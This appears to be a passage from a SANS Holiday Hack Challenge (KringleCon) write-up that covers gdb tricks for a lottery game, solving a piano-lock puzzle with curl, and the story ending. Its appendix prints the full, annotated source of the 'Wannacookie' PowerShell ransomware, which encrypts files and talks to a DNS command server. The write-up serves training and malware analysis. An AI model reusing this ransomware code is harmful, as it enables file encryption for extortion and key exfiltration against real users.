We can see these files in the folder we’re in

elf@9130abdfc328:~$ ll
total 60
drwxr-xr-x 1 elf elf 4096 Dec 14 16:22 ./
drwxr-xr-x 1 root root 4096 Dec 14 16:21 ../
-rw-r--r-- 1 elf elf 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 elf elf 3785 Dec 14 16:21 .bashrc
-rw-r--r-- 1 elf elf 807 Apr 4 2018 .profile
lrwxrwxrwx 1 elf elf 12 Dec 14 16:21 gdb -> /usr/bin/gdb*
lrwxrwxrwx 1 elf elf 16 Dec 14 16:21 objdump -> /usr/bin/objdump*
-rwxr-xr-x 1 root root 38144 Dec 14 16:22 sleighbell-lotto*

So let’s attach the gdb debugger to sleighbell-lotto…but start with a call to ​nm​ which lists symbols from object files
(​https://linux.die.net/man/1/nm​).

nm sleighbell-lotto

[...]

69
0000000000000f18 T tohex
0000000000208060 D winnermsg
0000000000000fd7 T winnerwinner
elf@9130abdfc328:~$ gdb sleighbell-lotto
[...]

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb)

We can see that there is a ​winnerwinner​ function, so invoking that will hopefully allow us to win the lottery….

While in gdb, first we need to issue a break main to pause after starting the program (Line 1:), then run the program
(Line 3:), and finally issue a ​jump winnerwinner ​(Line 9). This skips over the rest of the program and goes right into the
routine. We can see we succeed by the winning screen (Figure 66).

Line 1: (gdb) ​break main


Line 2:Breakpoint 1 at 0x14ce
Line 3:(gdb) ​run
Line 4:Starting program: /home/elf/sleighbell-lotto
Line 5:[Thread debugging using libthread_db enabled]
Line 6:Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Line 7:
Line 8:Breakpoint 1, 0x00005555555554ce in main ()
Line 9:(gdb) ​jump winnerwinner
Line 10:Continuing at 0x555555554fdb.

70
Figure 72. The Sleighbell lotto winning screen.

With a winning lottery elf, that being Shinny, we get some more information and hints…

Sweet candy goodness - I win! Thank you so much!


Sweet candy goodness - I win! Thank you so much!
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their
files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his
computer.
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for
Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption
requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.

Objective Thirteen - Message after unlocking Santa’s vault


​ oor to Santa's vault​. What message do you get when
Use what you have learned from previous challenges to open the d
you unlock the door?

We see a Piano Lock which we didn’t really have any password/sequence for in this room and when we click it
we are presented with a portion of a piano.

71
Figure 73. The Piano Lock.

Nothing happens until after ​we hit enough keys to fill the song bars, when we watch the network requests in the
browser tools, we see that our song/code is checked by a call to ​https://pianolockn.kringlecastle.com/checkpass.php​,
with the song notes being passed in the i​ ​ parameter… i​ =EFshEDshEDshEDshEDshEEDshEFFFF

Trying with some random notes, we can see the normal, unsuccessful response…

$ curl
'https://pianolockn.kringlecastle.com/checkpass.php?i=EFshEDshEDshEDshEDshEEDshEFFFF&resourceId=und
efined'
{"success":false,"message":"Incorrect guess."}

Here we can see they are using a slightly different scheme than our password file, where instead of using ‘#’ for sharps,
they are using ‘sh’. We can convert the password notes to the new format with:

echo 'ED#ED#EED#EF#G#F#G#ABA#BA#B' | sed s/#/sh/g

Let’s try modifying an existing checkpass.php request and change the ​i​ parameter to the song from the password file.

$ curl
'https://pianolockn.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshABAshBAshB&resource
Id=undefined'
{"success":false,"message":"offkey"}

Still no a success, but this time the message is different… “offkey”, so perhaps this is the right melody, but just not in the
72
right key. Good thing we found a document teaching us about key transposition in ​Objective Eight​.

In that document we transposed Mary Had a Little Lamb to the key of A, which happened to be a half-step down. Our
vault song is in the key of B, so transposing it to A would mean transposing one full step down.

We can either manually transpose or use a tool (e.g. ​http://www.logue.net/xp/​) to perform the transposition… after
transposing we get:

DC#DC#DDC#DEF#EF#GAG#AG#A
or
DCshDCshDDCshDEFshEFshGAGshAGshA, when converted to the format used by checkpass.php

Using the code via curl…

$ curl
'https://pianolockn.kringlecastle.com/checkpass.php?i=DCshDCshDDCshDEFshEFshGAGshAGshA&resourceId=u
ndefined'
{"success":true,"resourceId":"undefined","hash":"39c991fe278c91e32168f02f3e54bce46b5ada18927e7c8155
4024ec6760d592","message":"Correct guess!"}

Entering the sequence into the Piano Lock by using the attachment we pulled from Alabaster’s email earlier as a guide
for the key’s values, we enter in the sequence and see the message ​You have unlocked Santa’s vault!​ appear.
Answering objective thirteen’s question.

73
Figure 74. Completing the Piano-Code message.

Figure 75. Rather than entering the song by hand, we can wrap each note in a call to notePress() to enter the song via Browser web console

74
Objective Fourteen – Who is Behind it All?
Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers
(​SANSHolidayHackChallenge@counterhack.com)​ please explain that plan.

Figure 76. Kicking it with Santa, Hans, and some not so grump elves….

After getting into the Secret Room we find Santa, Hans, and two Elf-in-Disguise guards..it turns out that Santa
was behind the entire “show” in order to find someone (or some people) who could be versatile enough with computer
skills and knowledge to help defend the North Pole’s computer infrastructure.

Santa says

You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you.
And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!
You see, I finally found you!
I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against
even the craftiest attackers.
That’s why we had so many ​different​ challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the
plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad
guys.
And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever
wanted?
They lived happily ever after.
75
Appendix A - Wannacookie.min.ps1 in readable format with function descriptions
The non-minified version could also be obtained by using the function of the minified code to retrieve the unobfuscated
PowerShell script as well

g_o_dns (A2H("wannacookie.ps1")) > wannacookie.commented.ps1

wannacookie.min.ps1 - reformatted 

$functions​ = { ​function​ e_d_file (​$key​,​$File​,​$enc_it​) { ​[byte[]]$key​ = ​$key​; 


​$Suffix​ = ​"`.wannacookie"​; 
​[System.Reflection.Assembly]​::​LoadWithPartialName(​'System.Security.Cryptography'​)​; 
​[System.Int32]$KeySize​ = ​$key​.Length * 8​; 
​$AESP​ = ​New-Object​ ​'System.Security.Cryptography.AesManaged'​; 
​$AESP​.Mode = ​[System.Security.Cryptography.CipherMode]​::​CBC​; 
​$AESP​.BlockSize = 128​; 
​$AESP​.KeySize = ​$KeySize​; 
​$AESP​.Key = ​$key​; 
​$FileSR​ = ​New-Object​ System.IO.FileStream (​$File​,​[System.IO.FileMode]​::​Open)​; 
​if​ (​$enc_it​) { ​$DestFile​ = ​$File​ + ​$Suffix​ } ​else​ { ​$DestFile​ = (​$File​ -replace ​$Suffix​) }​; 
​$FileSW​ = ​New-Object​ System.IO.FileStream (​$DestFile​,​[System.IO.FileMode]​::​Create)​; 
​if​ (​$enc_it​) { ​$AESP​.GenerateIV()​; 
​$FileSW​.Write(​[System.BitConverter]​::​GetBytes(​$AESP​.IV.Length),0,4)​; 
​$FileSW​.Write(​$AESP​.IV,0,​$AESP​.IV.Length)​; 
​$Transform​ = ​$AESP​.CreateEncryptor() } ​else​ { ​[Byte[]]$LenIV​ = ​New-Object​ Byte[] 4​; 
​$FileSR​.Seek(0,​[System.IO.SeekOrigin]​::​Begin​) | ​Out-Null​; 
​$FileSR​.Read(​$LenIV​,0,3) | ​Out-Null​; 
​[int]$LIV​ = ​[System.BitConverter]​::​ToInt32(​$LenIV​,0)​; 
​[Byte[]]$IV​ = ​New-Object​ Byte[] ​$LIV​; 
​$FileSR​.Seek(4,​[System.IO.SeekOrigin]​::​Begin​) | ​Out-Null​; 
​$FileSR​.Read(​$IV​,0,​$LIV​) | ​Out-Null​; 
​$AESP​.IV = ​$IV​; 
​$Transform​ = ​$AESP​.CreateDecryptor() }​; 
​$CryptoS​ = ​New-Object​ System.Security.Cryptography.CryptoStream 
(​$FileSW​,​$Transform​,​[System.Security.Cryptography.CryptoStreamMode]​::​Write)​; 
​[int]$Count​ = 0​; 
​[int]$BlockSzBts​ = ​$AESP​.BlockSize / 8​; 
​[Byte[]]$Data​ = ​New-Object​ Byte[] ​$BlockSzBts​; 
​do​ { ​$Count​ = ​$FileSR​.Read(​$Data​,0,​$BlockSzBts​)​; 
​$CryptoS​.Write(​$Data​,0,​$Count​) } ​while​ (​$Count​ -gt 0)​; 
​$CryptoS​.FlushFinalBlock()​; 
​$CryptoS​.Close()​; 
​$FileSR​.Close()​; 
​$FileSW​.Close()​; 
​Clear-Variable​ -Name ​"key"​; 
​Remove-Item​ ​$File​ } }​; 
function​ H2B { ​param​(​$HX​)​; 
​$HX​ = ​$HX​ -split ​'(..)'​ | ​Where-Object​ { ​$_​ }​; 
​foreach​ (​$value​ ​in​ ​$HX​) { ​[Convert]​::​ToInt32(​$value​,16) } }​; 
function​ A2H () { ​param​(​$a​)​; 
​$c​ = ​''​; 
​$b​ = ​$a​.ToCharArray()​; 
​; 

76
​foreach​ (​$element​ ​in​ ​$b​) { ​$c​ = ​$c​ + ​" "​ + 
[System.String]​::​Format(​"{0:X}"​,​[System.Convert]​::​ToUInt32(​$element​)) }​; 
​return​ ​$c​ -replace ​' '​ }​; 
function​ H2A () { ​param​(​$a​)​; 
​$outa​; 
​$a​ -split ​'(..)'​ | ​Where-Object​ { ​$_​ } | ​ForEach​-Object { ​[char]​(​[convert]​::​ToInt16(​$_​,16)) } | 
ForEach​-Object { ​$outa​ = ​$outa​ + ​$_​ }​; 
​return​ ​$outa​ }​; 
function​ B2H { ​param​(​$DEC​)​; 
​$tmp​ = ​''​; 
​foreach​ (​$value​ ​in​ ​$DEC​) { ​$a​ = ​"{0:x}"​ -f ​[int]$value​; 
​if​ (​$a​.Length -eq 1) { ​$tmp​ += ​'0'​ + ​$a​ } ​else​ { ​$tmp​ += ​$a​ } }​; 
​return​ ​$tmp​ }​; 
function​ ti_rox { ​param​(​$b1​,​$b2​)​; 
​$b1​ = $(H2B ​$b1​)​; 
​$b2​ = $(H2B ​$b2​)​; 
​$cont​ = ​New-Object​ Byte[] ​$b1​.count​; 
​if​ (​$b1​.count -eq ​$b2​.count) { ​for​ (​$i​ = 0​; 
​$i​ -lt ​$b1​.count​; 
​$i​++) { ​$cont​[​$i​] = ​$b1​[$
​ i​] -bxor ​$b2​[​$i​] } }​; 
​return​ ​$cont​ }​; 
function​ B2G { ​param​(​[byte[]]$Data​)​; 
​process​ { ​$out​ = ​[System.IO.MemoryStream]​::​new()​; 
​$gStream​ = ​New-Object​ System.IO.Compression.GzipStream 
$out​,(​[IO.Compression.CompressionMode]​::​Compress)​; 
​$gStream​.Write(​$Data​,0,​$Data​.Length)​; 
​$gStream​.Close()​; 
​return​ ​$out​.ToArray() } }​; 
function​ G2B { ​param​(​[byte[]]$Data​)​; 
​process​ { ​$SrcData​ = ​New-Object​ System.IO.MemoryStream (,​$Data​)​; 
​$output​ = ​New-Object​ System.IO.MemoryStream​; 
​$gStream​ = ​New-Object​ System.IO.Compression.GzipStream 
$SrcData​,(​[IO.Compression.CompressionMode]​::​Decompress)​; 
​$gStream​.CopyTo(​$output​)​; 
​$gStream​.Close()​; 
​$SrcData​.Close()​; 
​[byte[]]$byteArr​ = ​$output​.ToArray()​; 
​return​ ​$byteArr​ } }​; 
function​ sh1 (​[string]$String​) { ​$SB​ = ​New-Object​ System.Text.StringBuilder​; 
[System.Security.Cryptography.HashAlgorithm]​::​Create(​"SHA1"​).ComputeHash(​[System.Text.Encoding]​::​U
TF8.GetBytes(​$String​)) | ​ForEach​-Object { ​[void]$SB​.Append(​$_​.ToString(​"x2"​)) }​; 
​$SB​.ToString() }​; 
function​ p_k_e (​$key_bytes​,​[byte[]]$pub_bytes​) { ​$cert​ = ​New-Object​ -TypeName 
System.Security.Cryptography.X509Certificates.X509Certificate2​; 
​$cert​.Import(​$pub_bytes​)​; 
​$encKey​ = ​$cert​.PublicKey.Key.Encrypt(​$key_bytes​,​$true​)​; 
​return​ $(B2H ​$encKey​) }​; 
function​ e_n_d { ​param​(​$key​,​$allfiles​,​$make_cookie​)​; 
​$tcount​ = 12​; 
​for​ (​$file​ = 0​; 
​$file​ -lt ​$allfiles​.Length​; 
​$file​++) { ​while​ (​$true​) { ​$running​ = ​@​(​Get-Job​ | ​Where-Object​ { ​$_​.State -eq ​'Running'​ })​; 
​if​ (​$running​.count -le ​$tcount​) { ​Start-Job​ -ScriptBlock { ​param​(​$key​,​$File​,​$true_false​)​; 
​try​ { e_d_file ​$key​ $​ File​ ​$true_false​ } ​catch​ { ​$_​.Exception.Message | ​Out-String​ | 
Out-File​ $(​$env:userprofile​ + ​'\Desktop\ps_log.txt'​) -Append } } -args 
$key​,​$allfiles​[​$file​],​$make_cookie​ -InitializationScript ​$functions​; 

77
​break​ } ​else​ { ​Start-Sleep​ -m 200​; 
​continue​ } } } }​; 
function​ g_o_dns (​$f​) { ​$h​ = ​''​; 
​foreach​ (​$i​ ​in​ 0..(​[convert]​::​ToInt32($(​Resolve-DnsName​ -Server erohetfanu.com -Name 
"$f.erohetfanu.com"​ -Type TXT).Strings,10) - 1)) { ​$h​ += $(​Resolve-DnsName​ -Server erohetfanu.com 
-Name ​"$i.$f.erohetfanu.com"​ -Type TXT).Strings }​; 
​return​ (H2A ​$h​) }​; 
function​ s_2_c (​$astring​,​$size​ = 32) { ​$new_arr​ = ​@​()​; 
​$chunk_index​ = 0​; 
​foreach​ (​$i​ ​in​ 1..$(​$astring​.Length / ​$size​)) { ​$new_arr​ += 
@​(​$astring​.substring(​$chunk_index​,$ ​ size​))​; 
​$chunk_index​ += ​$size​ }​; 
​return​ ​$new_arr​ }​; 
function​ snd_k (​$enc_k​) { ​$chunks​ = (s_2_c $ ​ enc_k​)​; 
​foreach​ (​$j​ ​in​ ​$chunks​) { ​if​ (​$chunks​.IndexOf(​$j​) -eq 0) { ​$n_c_id​ = $(​Resolve-DnsName​ -Server 
erohetfanu.com -Name ​"$j.6B6579666F72626F746964.erohetfanu.com"​ -Type TXT).Strings } ​else​ { 
$(​Resolve-DnsName​ -Server erohetfanu.com -Name ​"$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" 
-Type TXT).Strings } }​; 
​return​ ​$n_c_id​ }​; 
function​ wanc { ​$S1​ = ​"1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"​; 
​if​ (​$null​ -ne ((​Resolve-DnsName​ -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B ​$S1​))) 
$(​Resolve-DnsName​ -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type 
TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) { ​return​ }​; 
​if​ ($(netstat -ano | ​Select-String​ ​"127.0.0.1:8080"​).Length -ne 0 -or (​Get-WmiObject 
Win32_ComputerSystem).Domain -ne ​"KRINGLECASTLE"​) { ​return​ }​; 
​$p_k​ = ​[System.Convert]​::​FromBase64String($(g_o_dns (​"7365727665722E637274"​)))​; 
​$b_k​ = (​[System.Text.Encoding]​::​Unicode.GetBytes($((​[char[]]​(​[char]01..[char]​255) + 
(​[char[]]​(​[char]01..[char]​255)) + 0..9 | sort { ​Get-Random​ })[0..15] -join ​''​)) | ​Where-Object​ { 
$_​ -ne 0x00 })​; 
​$h_k​ = $(B2H ​$b_k​)​; 
​$k_h​ = $(sh1 ​$h_k​)​; 
​$p_k_e_k​ = (p_k_e ​$b_k​ ​$p_k​).ToString()​; 
​$c_id​ = (snd_k ​$p_k_e_k​)​; 
​$d_t​ = (($(​Get-Date​).ToUniversalTime() | ​Out-String​) -replace ​"`r`n"​)​; 
​[array]$f_c​ = $(​Get-ChildItem​ *.elfdb -Exclude *.wannacookie -Path $($(​$env:userprofile​ + 
'\Desktop'​),$(​$env:userprofile​ + ​'\Documents'​),$(​$env:userprofile​ + ​'\Videos'​),$(​$env:userprofile 
+ ​'\Pictures'​),$(​$env:userprofile​ + ​'\Music'​)) -Recurse | ​Where-Object​ { !​$_​.PSIsContainer } | 
ForEach​-Object { ​$_​.FullName })​; 
e_n_d ​$b_k​ ​$f_c​ ​$true​; 
​Clear-Variable​ -Name ​"h_k"​; 
​Clear-Variable​ -Name ​"b_k"​; 
​$lurl​ = ​'http://127.0.0.1:8080/'​; 
​$html_c​ = ​@​{ ​'GET /'​ = $(g_o_dns (A2H ​"source.min.html"​))​; 
​'GET /close'​ = ​'<p>Bye!</p>'​ }​; 
​Start-Job​ -ScriptBlock { ​param​(​$url​)​; 
​Start-Sleep​ 10​; 
​Add-Type​ -AssemblyName System.Windows.Forms​; 
​Start-Process​ ​"$url"​ -WindowStyle Maximized​; 
​Start-Sleep​ 2​; 
​[System.Windows.Forms.SendKeys]​::​SendWait(​"{F11}"​) } -Arg ​$lurl​; 
​$list​ = ​New-Object​ System.Net.HttpListener​; 
​$list​.Prefixes.Add(​$lurl​)​; 
​$list​.Start()​; 
​try​ { ​$close​ = ​$false​; 
​while​ (​$list​.IsListening) { ​$context​ = ​$list​.GetContext()​; 
​$Req​ = ​$context​.Request​; 

78
​$Resp​ = ​$context​.Response​; 
​$recvd​ = ​'{0} {1}'​ -f ​$Req​.httpmethod,​$Req​.url.localpath​; 
​if​ (​$recvd​ -eq ​'GET /'​) { ​$html​ = ​$html_c​[​$recvd​] } ​elseif​ (​$recvd​ -eq ​'GET /decrypt'​) { 
$akey​ = ​$Req​.QueryString.Item(​"key"​)​; 
​if​ (​$k_h​ -eq $(sh1 ​$akey​)) { ​$akey​ = $(H2B ​$akey​)​; 
​[array]$f_c​ = $(​Get-ChildItem​ -Path $(​$env:userprofile​) -Recurse -Filter *.wannacookie | 
Where-Object​ { !​$_​.PSIsContainer } | ​ForEach​-Object { ​$_​.FullName })​; 
e_n_d ​$akey​ ​$f_c​ ​$false​; 
​$html​ = ​"Files have been decrypted!"​; 
​$close​ = ​$true​ } ​else​ { ​$html​ = ​"Invalid Key!"​ } } ​elseif​ (​$recvd​ -eq ​'GET /close'​) { 
$close​ = ​$true​; 
​$html​ = ​$html_c​[​$recvd​] } ​elseif​ (​$recvd​ -eq ​'GET /cookie_is_paid'​) { ​$c_n_k​ = 
$(​Resolve-DnsName​ -Server erohetfanu.com -Name 
(​"$c_id.72616e736f6d697370616964.erohetfanu.com"​.trim()) -Type TXT).Strings​; 
​if​ (​$c_n_k​.Length -eq 32) { ​$html​ = ​$c_n_k​ } ​else​ { ​$html​ = ​"UNPAID|$c_id|$d_t"​ } } ​else​ { 
$Resp​.statuscode = 404​; 
​$html​ = ​'<h1>404 Not Found</h1>'​ }​; 
​$buffer​ = ​[Text.Encoding]​::​UTF8.GetBytes(​$html​)​; 
​$Resp​.ContentLength64 = ​$buffer​.Length​; 
​$Resp​.OutputStream.Write(​$buffer​,0,​$buffer​.Length)​; 
​$Resp​.Close()​; 
​if​ (​$close​) { ​$list​.Stop()​; 
​return​ } } } ​finally​ { ​$list​.Stop() } }​; 
wanc​; 

Functions from ​wannacookie.min.ps1 

e_d_file (​$key​,​$File​,​$enc_it​) Encrypt/Decrypt $File with $key; encrypts when $enc_it is true

H2B { ​param​(​$HX​)  Hash to Binary

A2H () { ​param​(​$a​)  Ascii to Hex

H2A () { ​param​(​$a​)  Hex to Ascii

B2H { ​param​(​$DEC​)  Binary to Hex

ti_rox { ​param​(​$b1​,​$b2​) xor_it backwards; returns binary bitwise XOR on two hash
parameters

B2G { ​param​(​[byte[]]$Data​) Binary to Gzip

G2B { ​param​(​[byte[]]$Data​) Gzip to Binary

sh1 (​[string]$String​) SHA1 hash calculation

p_k_e (​$key_bytes​,​[byte[]]$pub_bytes​) Public key encrypt

e_n_d { ​param​(​$key​,​$allfiles​,​$make_cookie​) Encrypt/Decrypt $allfiles with $key; encrypts when


$make_cookie is true; Uses 12 threads and e_d_file()

g_o_dns (​$f​) Get over DNS; retrieves content over multiple DNS queries

79
s_2_c (​$astring​,​$size​ = 32) String 2 chunks; breaks $astring into array of strings with length
$size

snd_k (​$enc_k​)  Send encryption key to server over DNS (and get a client id)

wanc Main function for malware

Hex strings used in DNS queries 

7365727665722E637274  server.crt  For retrieving public key 

6B6579666F72626F746964  keyforbotid  When sending key to server 

6B696C6C737769746368  killswitch  Key to decode killswitch domain 

72616e736f6d697370616964  ransomispaid  Retrieving encryption key 

wanc variables 

$p_k  public key 

$b_k  binary (symmetric) encryption key -- variable cleared after use 

$h_k  hex version of encryption key -- variable cleared after use 

$k_h  SHA1 hash of hex key 

$p_k_e_k  public key encrypted key (encryption key encrypted with public key) -- sent to server 

$c_id  client id? 

$d_t  Date/time before files are searched for and encrypted 

80

Potrebbero piacerti anche